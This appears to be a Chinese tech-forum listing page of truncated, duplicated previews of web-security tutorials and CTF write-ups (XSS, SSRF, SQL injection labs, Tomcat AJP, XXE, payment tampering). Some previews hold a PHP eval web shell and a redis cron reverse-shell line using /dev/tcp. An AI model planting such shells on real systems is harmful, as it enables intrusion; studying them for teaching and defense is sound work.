- 支付过程中可直接修改数据包中的支付金额 登录进入系统，打开burpsuite工具，浏览器设置本地8080端口代理，购买的数量同样输入1本书籍1和1本书籍2，在点击购买的时候抓取到数据包，分析数据包可以直... 支付过程中可直接修改数据包中的支付金额 登录进入系统，打开burpsuite工具，浏览器设置本地8080端口代理，购买的数量同样输入1本书籍1和1本书籍2，在点击购买的时候抓取到数据包，分析数据包可以直...
- 任意代码执行漏洞 各类语言中有很多代码执行函数：assert()属于php常见的代码执行函数 任意命令执行 echo^<?php @eval($_POST[‘code’]);?^>&g... 任意代码执行漏洞 各类语言中有很多代码执行函数：assert()属于php常见的代码执行函数 任意命令执行 echo^<?php @eval($_POST[‘code’]);?^>&g...
- 一：框架程序 1. 框架职责介绍 接收web服务器的动态资源请求，给web服务器提供处理动态资源请求的服务。 2. 动态资源判断 根据请求资源路径的后缀名进行判断 如果请求资源路径的后缀名是.h... 一：框架程序 1. 框架职责介绍 接收web服务器的动态资源请求，给web服务器提供处理动态资源请求的服务。 2. 动态资源判断 根据请求资源路径的后缀名进行判断 如果请求资源路径的后缀名是.h...
- 一：文件包含读取漏洞 源码： 获取文件 二：文件目录穿梭读取漏洞 源码： 获取文件 一：文件包含读取漏洞 源码： 获取文件 二：文件目录穿梭读取漏洞 源码： 获取文件
- 进入到题目，看上去非常简单的三个题目，只不过提交个按钮是灰色的，无法点击。 我们审查元素来看看 发现这里设置了属性，改过来之后提交三道题目的正确答案，发现还是不行。 我们再来仔细的看看源代码，发现了... 进入到题目，看上去非常简单的三个题目，只不过提交个按钮是灰色的，无法点击。 我们审查元素来看看 发现这里设置了属性，改过来之后提交三道题目的正确答案，发现还是不行。 我们再来仔细的看看源代码，发现了...
- 反射型XSS 在【name】处输入test，观察URL变化及返回信息： 可以看到输入框中的内容直接在URL展示，直接放弹框的payload： 存储型XSS 在输入框提交，再次刷新页面即可触发注入... 反射型XSS 在【name】处输入test，观察URL变化及返回信息： 可以看到输入框中的内容直接在URL展示，直接放弹框的payload： 存储型XSS 在输入框提交，再次刷新页面即可触发注入...
- SSRF简介 SSRF（Server-Side Request Forgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。 由于存在防火墙的防护，导致攻击者无法直接入侵内网；... SSRF简介 SSRF（Server-Side Request Forgery，服务端请求伪造），是攻击者让服务端发起构造的指定请求链接造成的漏洞。 由于存在防火墙的防护，导致攻击者无法直接入侵内网；...
- 打开服务器上的网页然后看到进入第一关的按钮，点击。 跳到第一关，只有一些文字，那么我们看看源代码有没有神马发现 页面和这个差不多，但是多了一些奇怪的符号，还是看一下源代码吧。 源代码中给出了第二关的... 打开服务器上的网页然后看到进入第一关的按钮，点击。 跳到第一关，只有一些文字，那么我们看看源代码有没有神马发现 页面和这个差不多，但是多了一些奇怪的符号，还是看一下源代码吧。 源代码中给出了第二关的...
- 一：首先上题目 1.输入网址 2.测试id http://1.117.248.182/Less-1/?id=1 1 ht 一：首先上题目 1.输入网址 2.测试id http://1.117.248.182/Less-1/?id=1 1 ht
- 页面上可以点击的只有一个按钮 点击之后出来一句话提示：Only Member with Admin rights is allow to enter，只有管理员权限的成员才能进入。 我们直接用bru... 页面上可以点击的只有一个按钮 点击之后出来一句话提示：Only Member with Admin rights is allow to enter，只有管理员权限的成员才能进入。 我们直接用bru...
- 一：首先上一张图片 <Window x:Class="Zhaoxi.AppLayout.MainWindow" xmlns="http://schemas.microsoft.... 一：首先上一张图片 <Window x:Class="Zhaoxi.AppLayout.MainWindow" xmlns="http://schemas.microsoft....
- 漏洞利用，通过python脚本文件读取及文件包含进行RCE。 漏洞简介 由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响... 漏洞利用，通过python脚本文件读取及文件包含进行RCE。 漏洞简介 由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响...
- 一：基础知识 JSONP劫持 JSONP全称JSON with Padding，是基于JSON格式的为解决跨域请求资源而产生的解决方案。其基本原理是利用了HTML里 当某网站通过JSONP的方... 一：基础知识 JSONP劫持 JSONP全称JSON with Padding，是基于JSON格式的为解决跨域请求资源而产生的解决方案。其基本原理是利用了HTML里 当某网站通过JSONP的方...
- 本地搭建redis redis反弹shell的bash脚本 #shell.sh echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx... 本地搭建redis redis反弹shell的bash脚本 #shell.sh echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx...
- 有回显的本地文件读取 文件内容中存在很多的特殊字符：大于号、小于号等，我们在前面的XML基础巩固中也提到过，当xml的标签内还存在小于号、大于号等特殊字符时，尤其是小于号，会被XML解析器误认为是另一... 有回显的本地文件读取 文件内容中存在很多的特殊字符：大于号、小于号等，我们在前面的XML基础巩固中也提到过，当xml的标签内还存在小于号、大于号等特殊字符时，尤其是小于号，会被XML解析器误认为是另一...
上滑加载中
推荐直播
-
华为云码道 × 仓颉编程：工程化AI编码探索2026/05/27 周三 19:00-21:00
刘俊杰-华为云仓颉语言专家/李炎-华为云码道技术专家/王智鹏-OpenCangjie开源社区发起人
本场直播围绕华为云仓颉语言与华为云码道的深度结合，展示华为云智能编程从零基础到高效落地的完整生态能力。以华为云码道为引擎，仓颉语言为载体，带给大家日常提效、趣味创新到极速量产的开发体验。
回顾中
热门标签